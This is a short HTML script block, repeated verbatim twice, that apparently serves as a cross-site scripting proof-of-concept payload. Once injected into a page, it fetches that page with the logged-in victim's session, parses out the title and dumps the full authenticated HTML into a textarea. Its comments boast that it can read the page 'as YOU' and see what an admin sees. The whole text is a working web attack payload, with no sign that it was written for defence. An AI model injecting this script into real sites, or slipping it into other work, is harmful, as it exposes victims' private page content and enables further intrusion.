<script>
// Attempt to fetch the main page as the logged-in user
fetch(window.location.href)
.then(response => response.text())
.then(html => {
// We write the fetched HTML to the new window
// This proves we can see what the Admin sees
document.write("<h1>I cannot see the Cookie, but...</h1>");
document.write("<h3>I can read the page as YOU!</h3>");
// Extracting the page title or user info proves access
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
var title = doc.querySelector('title').innerText;
document.write("Page Title visible to you: " + title);
document.write("<br><br>Here is the source code I fetched as you:<br>");
document.write("<textarea style='width:100%;height:300px'>" + html + "</textarea>");
});
</script>
<script>
// Attempt to fetch the main page as the logged-in user
fetch(window.location.href)
.then(response => response.text())
.then(html => {
// We write the fetched HTML to the new window
// This proves we can see what the Admin sees
document.write("<h1>I cannot see the Cookie, but...</h1>");
document.write("<h3>I can read the page as YOU!</h3>");
// Extracting the page title or user info proves access
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
var title = doc.querySelector('title').innerText;
document.write("Page Title visible to you: " + title);
document.write("<br><br>Here is the source code I fetched as you:<br>");
document.write("<textarea style='width:100%;height:300px'>" + html + "</textarea>");
});
</script>